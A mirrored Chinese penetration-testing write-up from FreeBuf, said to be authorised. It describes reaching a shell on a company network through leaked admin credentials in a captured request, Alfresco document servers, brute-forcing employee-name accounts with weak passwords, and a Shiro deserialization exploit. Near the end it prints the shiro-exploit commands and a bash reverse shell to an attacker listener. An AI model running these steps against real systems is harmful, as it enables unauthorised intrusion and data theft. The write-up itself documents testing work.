2

渗透测试 | 记一次从未授权页面到 GetShell

 3 years ago
source link: https://www.freebuf.com/articles/web/275199.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
渗透测试 | 记一次从未授权页面到 GetShell 金币
KeePassX 2021-05-27 15:34:20 54985 4

介绍:这篇文章主要记录了通过一闪而过的未授权页面到 GETSHELL 的过程。

0x00 前言

最近任务目标有点难搞,搞了几天没有成果,所以准备一个破站搞一天,慢慢搞他。

本次测试已获得授权,小伙伴们不要乱搞哦~

0x01 信息收集

只给了一个公司名,这里用BOSS代替。
首先子域名搜集,子域名收集工具很多,我这里推荐使用OneForAll,使用起来还是不错的,后面也可以跟Bscan进行联动。

贴一下地址:

https://github.com/shmilylty/OneForAll

收集到了子域名和相关的IP信息,我喜欢把这些放到Goby里探测一下资产,方便快捷,顺便看看有啥漏洞。

等了一会,结果出来了。
-w1009

嗯,果然漏洞啥也没有。最近已经有点习惯了-_-!。

0x02 一闪而过的未授权页面

Goby没扫出来漏洞?那本菜鸡还能干啥,溜了吧!不行,至少先看看资产吧。

第一个资产,嗯?有东西,通过IP127.0.0.1(代指)访问时,会先有一个已登录的页面一闪而过,然后跳转到登录页面。这里涉及到敏感信息,请自行脑补。

既然是已登录的页面,浏览器一闪而过,Burp启动!
发现跳转过程中存在三个数据包,有用的数据包就一个,返回了一些文档的目录信息。
-w1262

根据已返回的相关信息,这一瞅,不得目录一层层递进,看看有啥敏感的。
此处省略n分钟。发现了一个敏感的东西。
-w1265

内网网址?这不得瞅瞅!咋搞下来图片呢,根据前面试的错误信息,看到了用的文档管理软件。
-w622这东西有点眼熟,去Goby看这个127.0.0.1ip的资产,呕吼,81端口有个文档管理软件的页面Alfresco
-w822

随便点一点。
-w985

查看那个WebDav,弹窗了认证。
-w1127

有认证?那我根据前面返回包的信息里,有一个createdByUser的信息。
-w611

掏出我的字典,爆破去。n分钟后,没成功。根据公司名称和弱口令字典结合生成相应公司的弱口令,再去爆破,还没成功。

爆破不成功?那我就通过之前的未授权的数据包来构造API来下载文件,这种文档管理的软件,下载文件的API肯定有的,然后就去搜索Alfresco的可用的API来下载内网网址的图片。

返回数据里有两个UrlcontenrUrlwebdavUrl
下载contenUrl失败,直接访问webdavUrl成功了。
-w1270

然后通过Burpshow response in brower成功获取到了图片。贴个图,请自行脑补。
-w830然后这个时候天已经黑了,肝了一天累死了。准备周末充实学习两天(别问,问就是学习了),准备两天后再整理一个未授权访问+敏感信息泄露的报告。

两天后,在整理思路和写报告的过程中,意识到一个问题,凭什么那个数据包可以未授权呀!
重新查看数据包,此时请脑补一声wc,那个数据包带着认证信息!
-w1262

还有这种事,赶快解码。密码:admin:admin(带有资产信息,已被admin替代)
然后登陆81端口那个文档管理,发现都是一些目录信息,很多关键的文档都是名字挺哄人,比如xxx的年度述职报告,但其实是个测试的文档,就是空的!

重新去Goby查看资产,发现另一个ip,127.0.0.2,只开着Alfresco,既然是个办公用的文档的话,不可能只是一些测试的东西,估计在这个服务器上。尝试使用刚刚获得的密码登录这个文档管理,bingo,还真登上了!然后敏感信息一堆,就比如这个:
-w919

127.0.0.1127.0.0.2的两个文档管理里User Homes文件夹,里面保存了以人名的拼音形式保存的文件夹,但是没有任何东西,可以收集一波人名,然后弱口令爆破,说不定有收获。

0x03 弱口令+Shiro

收集到的人名信息400+,再配合几个弱口令,使用Burp-intruderAttack type选择Cluster bomb,第一个payload选择这些人名的拼音,第二个payload选择一些弱口令,比如一些123456,12345678,123qwe等等。

毕竟这么多人,总有几个偷懒的~也是运气好,123qwe成功爆破出来一个,一看用户名,dacongming(已代替),嗯,这名字我的姓名字典里竟然有,但是一个百万的姓名字典,爆破有点太难为人了,还是收集信息后的爆破准确。

弱口令成功登录。看了看网站的功能,没有什么上传功能。前面获得文档登录后也可以查看。
一般登录后的系统都是防护比较弱的,开启XRAY,设置代理,随便点一点,就找到了N处注入,就很快乐。然后突然发现shiro报红,这一波肥了。

开启我的shiro的利用工具。
-w239

然后发现,基本都不好用,在之前我是很喜欢shiro_tool的,利用起来很舒服,但是这次key是可以爆破出来,但是gadget都没有可以用的。重新去看xray的报告,发现用的是CommonsBeanutils2这个gadgetxary内置的利用链。一些利用工具里没有这条链。
-w625

这里就不得吹一波shiro-exploit-master了,内置了xray的6条tomcat回显链。
-w986

python3 shiro-exploit.py echo -g CommomsBeanutisls2 -u http://127.0.0.1/CN=dacongming -c whoami

成功执行命令。

vps设置监听,成功反弹shell

python3 shiro-exploit.py echo -g CommomsCollections1 -u http://127.0.0.1/CN=dacongming -c bash "-i >& /dev/tcp/127.0.0.1/2333 0>&1"

-w1000

0x04 总结

其实本篇文章写完重新看,没有很多的难点,但是自己实际做起来确实花了一天半的时间搞定的,自己总结一下,可以学习一下思路吧。

作者:ICDAT

本文作者:KeePassX, 转载请注明来自FreeBuf.COM

# 渗透测试 # web安全

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK